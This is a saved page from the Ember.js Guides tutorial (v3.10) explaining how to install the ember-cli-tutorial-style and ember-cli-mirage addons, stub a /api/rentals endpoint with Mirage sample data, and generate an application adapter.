ber%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Installing Addons - Tutorial - Ember Guides</title> <meta name="description" content="Ember has a rich ecosystem of addons that can be easily added to projects. Addons provide a wide range of functionality to projects, often saving time and letting you focus on your project. To browse addons, visit the Ember Observer website. It catalogs..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Installing Addons - Tutorial - Ember Guides"> <!----> <meta property="og:description" content="Ember has a rich ecosystem of addons that can be easily added to projects. Addons provide a wide range of functionality to projects, often saving time and letting you focus on your project. To browse addons, visit the Ember Observer website. It catalogs..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Installing Addons - Tutorial - Ember Guides"> <!----> <meta name="twitter:description" content="Ember has a rich ecosystem of addons that can be easily added to projects. Addons provide a wide range of functionality to projects, often saving time and letting you focus on your project. To browse addons, visit the Ember Observer website. It catalogs..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember451744" class="es-header ember-view" role="banner"><div id="ember451745" class="ember-view"><div class="container"> <nav id="ember451746" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember451747" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember451748" class="navbar-collapse collapse ember-view"><ul id="ember451749" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember451750" class="dropdown nav-item ember-view"> <a href="#" id="ember451751" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember451753" class="dropdown nav-item ember-view"> <a href="#" id="ember451754" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember451756" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember451757" class="dropdown nav-item ember-view"> <a href="#" id="ember451758" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember451760" class="dropdown nav-item ember-view"> <a href="#" id="ember451761" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember451763" class="nav navbar-nav ember-view"> <form> <div id="ember451764" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember451765" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember451766" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember451767" class="ember-basic-dropdown ember-view"> <div aria-label="v3.10.0" aria-owns="ember-basic-dropdown-content-ember451767" tabindex="0" data-ebd-id="ember451767-trigger" role="button" id="ember451768" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 3.10 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember451767" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember451772" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember451775" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/getting-started" id="ember451776" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember451777" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451779" class="cp-Panel cp-is-open ember-view"><a href="/v3.10.0/tutorial" id="ember451780" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember451781" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember451782" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/ember-cli" id="ember451784" class="ember-view"> Creating Your App </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/acceptance-test" id="ember451786" class="ember-view"> Planning Your App </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/routes-and-templates" id="ember451788" class="ember-view"> Routes and Templates </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/model-hook" id="ember451790" class="ember-view"> The Model Hook </a> </li> <li class="toc-link toc-level-1 selected"> <a href="/v3.10.0/tutorial/installing-addons" id="ember451792" class="selected ember-view"> Installing Addons </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/simple-component" id="ember451794" class="ember-view"> Building a Simple Component </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/hbs-helper" id="ember451796" class="ember-view"> Creating a Handlebars Helper </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/ember-data" id="ember451798" class="ember-view"> Using Ember Data </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/autocomplete-component" id="ember451800" class="ember-view"> Building a Complex Component </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/service" id="ember451802" class="ember-view"> Services </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/subroutes" id="ember451804" class="ember-view"> Adding Nested Routes </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.10.0/tutorial/deploying" id="ember451806" class="ember-view"> Deploying </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451808" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/object-model" id="ember451809" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember451810" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451812" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/templates" id="ember451813" class="cp-Panel-toggle ember-view"> Templating </a> <div id="ember451814" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451816" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/components" id="ember451817" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember451818" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451820" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/controllers" id="ember451821" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember451822" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451824" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/routing" id="ember451825" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember451826" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451828" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/models" id="ember451829" class="cp-Panel-toggle ember-view"> Ember Data </a> <div id="ember451830" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451832" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/addons-and-dependencies" id="ember451833" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember451834" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451836" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/testing" id="ember451837" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember451838" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451840" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/configuring-ember" id="ember451841" class="cp-Panel-toggle ember-view"> Configuration </a> <div id="ember451842" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451844" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/applications" id="ember451845" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember451846" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451848" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/ember-inspector" id="ember451849" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember451850" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451852" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/contributing" id="ember451853" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember451854" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451856" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/glossary" id="ember451857" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember451858" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember451860" class="cp-Panel cp-is-closed ember-view"><a href="/v3.10.0/reference" id="ember451861" class="cp-Panel-toggle ember-view"> Reference </a> <div id="ember451862" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember451863" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v3.10.0. <a href="/release/tutorial/installing-addons" id="ember451864" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v3.10.0/tutorial/installing-addons.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Installing Addons </h1> <hr> <div id="ember451865" class="ember-view"><p>Ember has a rich ecosystem of addons that can be easily added to projects. Addons provide a wide range of functionality to projects, often saving time and letting you focus on your project.</p> <p>To browse addons, visit the <a href="https://emberobserver.com/">Ember Observer</a> website. It catalogs and categorizes Ember addons that have been published to npm and assigns them a score based on a variety of criteria.</p> <p>For Super Rentals, we'll take advantage of two addons: <a href="https://github.com/toddjordan/ember-cli-tutorial-style">ember-cli-tutorial-style</a> and <a href="http://www.ember-cli-mirage.com/">ember-cli-mirage</a>.</p> <h3 id="toc_ember-cli-tutorial-style">ember-cli-tutorial-style</h3> <section aria-labelledby="toc_ember-cli-tutorial-style"> <p>Instead of having you copy/paste in CSS to style Super Rentals, we've created an addon called <a href="https://github.com/ember-learn/ember-cli-tutorial-style">ember-cli-tutorial-style</a> that instantly adds CSS to the tutorial. The addon works by generating a file called <code>ember-tutorial.css</code> and putting that file in the super-rentals <code>vendor</code> directory.</p> <p>The <a href="../../addons-and-dependencies/managing-dependencies/#toc_other-assets"><code>vendor</code> directory</a> in Ember is a special directory where you can include content that gets compiled into your application.</p> <p>As Ember CLI runs, it takes the <code>ember-tutorial</code> CSS file and puts it in a file called <code>vendor.css</code>. The <code>vendor.css</code> file is referenced in <code>app/index.html</code>, making the styles available at runtime.</p> <p>We can make additional style tweaks to <code>vendor/ember-tutorial.css</code>, and the changes will take effect immediately.</p> <p>Run the following command to install the addon:</p> <pre><code class="bash language-bash">ember install ember-cli-tutorial-style </code></pre> <p>Here is the output:</p> <pre><code class="bash language-bash">NPM: Installed ember-cli-tutorial-style installing ember-cli-tutorial-style create public/assets/images/teaching.png create vendor/ember-tutorial.css Installed addon package. </code></pre> <p>Since Ember addons are npm packages, <code>ember install</code> installs them in the <code>node_modules</code> directory, and makes an entry in <code>package.json</code>. Be sure to restart your server after the addon has installed successfully; first, press <code>Ctrl+C</code> to stop the server, then, restart the server by running <code>ember server</code> again. Restarting the server will incorporate the new CSS and refreshing the browser window will give you this:</p> <p><img src="/images/installing-addons/styled-super-rentals-basic.png" alt="super rentals styled homepage" /></p> </section> <h3 id="toc_ember-cli-mirage">ember-cli-mirage</h3> <section aria-labelledby="toc_ember-cli-mirage"> <p><a href="http://www.ember-cli-mirage.com/">Mirage</a> is a client HTTP stubbing library often used for Ember application testing. For the case of this tutorial, we'll use mirage as our source of data rather than a traditional backend server. Mirage will allow us to create fake data to work with while developing our app and mimic an API. The data and endpoints we setup here will come into play later in the tutorial, when we use Ember Data to make server requests.</p> <p>Install the Mirage addon as follows:</p> <pre><code class="bash language-bash">ember install ember-cli-mirage </code></pre> <p>Our primary focus with mirage will be in the <code>config.js</code> file, which is where we can define our API endpoints and our data. We will be following the <a href="http://jsonapi.org/">JSON-API specification</a> which requires our data to be formatted a certain way. Let's configure Mirage to send back our rentals that we had defined above by updating <code>mirage/config.js</code>.</p> <p>Notice that in the first line of the function we set <code>this.namespace</code> to <code>/api</code>. Setting namespace lets mirage know to only provide data for URL requests that start with <code>api</code>. For example, the data we are providing below will be substituted when a request comes in at <code>/api/rentals</code>.</p> <pre><code class="javascript language-javascript"data-filename="mirage/config.js" data-diff="+1,+2,+3,+4,+5,+6,+7,+8,+9,+10,+11,+12,+13,+14,+15,+16,+17,+18,+19,+20,+21,+22,+23,+24,+25,+26,+27,+28,+29,+30,+31,+32,+33,+34,+35,+36,+37,+38,+39,+40,+41,+42,+43,+44,+45,-46,-47,-48,-49,-50,-51,-52,-53,-54,-55,-56,-57,-58,-59,-60,-61,-62,-63,-64,-65,-66,-67,-68,-69,-70">export default function() { this.namespace = '/api'; this.get('/rentals', function() { return { data: [{ type: 'rentals', id: 'grand-old-mansion', attributes: { title: 'Grand Old Mansion', owner: 'Veruca Salt', city: 'San Francisco', category: 'Estate', bedrooms: 15, image: 'https://upload.wikimedia.org/wikipedia/commons/c/cb/Crane_estate_(5).jpg', description: "This grand old mansion sits on over 100 acres of rolling hills and dense redwood forests." } }, { type: 'rentals', id: 'urban-living', attributes: { title: 'Urban Living', owner: 'Mike Teavee', city: 'Seattle', category: 'Condo', bedrooms: 1, image: 'https://upload.wikimedia.org/wikipedia/commons/0/0e/Alfonso_13_Highrise_Tegucigalpa.jpg', description: "A commuters dream. This rental is within walking distance of 2 bus stops and the Metro." } }, { type: 'rentals', id: 'downtown-charm', attributes: { title: 'Downtown Charm', owner: 'Violet Beauregarde', city: 'Portland', category: 'Apartment', bedrooms: 3, image: 'https://upload.wikimedia.org/wikipedia/commons/f/f7/Wheeldon_Apartment_Building_-_Portland_Oregon.jpg', description: "Convenience is at your doorstep with this charming downtown rental. Great restaurants and active night life are within a few feet." } }] }; }); } export default function() { // These comments are here to help you get started. Feel free to delete them. /* Config (with defaults). Note: these only affect routes defined *after* them! */ // this.urlPrefix = ''; // make this `http://localhost:8080`, for example, if your API is on a different server // this.namespace = ''; // make this `/api`, for example, if your API is namespaced // this.timing = 400; // delay for each request, automatically set to 0 during testing /* Shorthand cheatsheet: this.get('/posts'); this.post('/posts'); this.get('/posts/:id'); this.put('/posts/:id'); // or this.patch this.del('/posts/:id'); http://www.ember-cli-mirage.com/docs/v0.3.x/shorthands/ */ } </code></pre> <p>Mirage works by overriding the JavaScript code that makes network requests and instead returns the JSON you specify. We should note that this means you will not see any network requests in your development tools but will instead see the JSON logged in your console. Our update to <code>mirage/config.js</code> configures Mirage so that whenever Ember Data makes a GET request to <code>/api/rentals</code>, Mirage will return this JavaScript object as JSON and no network request is actually made. We also specified a <code>namespace</code> of <code>/api</code> in our mirage configuration. Without this change, navigation to <code>/rentals</code> in our application would conflict with Mirage.</p> <p>In order for this to work, we need our application to default to making requests to the namespace of <code>/api</code>. To do this, we want to generate an application adapter. An <a href="../../models/customizing-adapters/">Adapter</a> is an object that <a href="../../models/">Ember Data</a> uses to determine how we communicate with our backend. We will cover Ember Data in more detail later in this tutorial. For now, let's generate an adapter for our application:</p> <pre><code class="bash language-bash">ember generate adapter application </code></pre> <p>This adapter will extend the <a href="https://api.emberjs.com/ember-data/3.10/classes/DS.JSONAPIAdapter/"><code>JSONAPIAdapter</code></a> base class from Ember Data:</p> <pre><code class="javascript language-javascript"data-filename="app/adapters/application.js" data-diff="+4">import DS from 'ember-data'; export default DS.JSONAPIAdapter.extend({ namespace: 'api' }); </code></pre> <p>If you were running <code>ember serve</code> or <code>ember test --serve</code> in another shell, restart each of those servers to include Mirage in your build.</p> <p>Note that at this point of the tutorial, the data is still provided by the <code>app/routes/rentals.js</code> file. We will make use of the mirage data we set up here in the upcoming section called <a href="../ember-data/">Using Ember Data</a>.</p> </section> </div> <footer id="ember451866" class="ember-view"> <a href="/v3.10.0/tutorial/model-hook" id="ember451867" class="previous-guide ember-view">The Model Hook</a> <a href="/v3.10.0/tutorial/simple-component" id="ember451868" class="next-guide ember-view"> Building a Simple Component </a></footer> </article> </main> <footer id="ember451869" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember451870" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember451871" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember451872" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 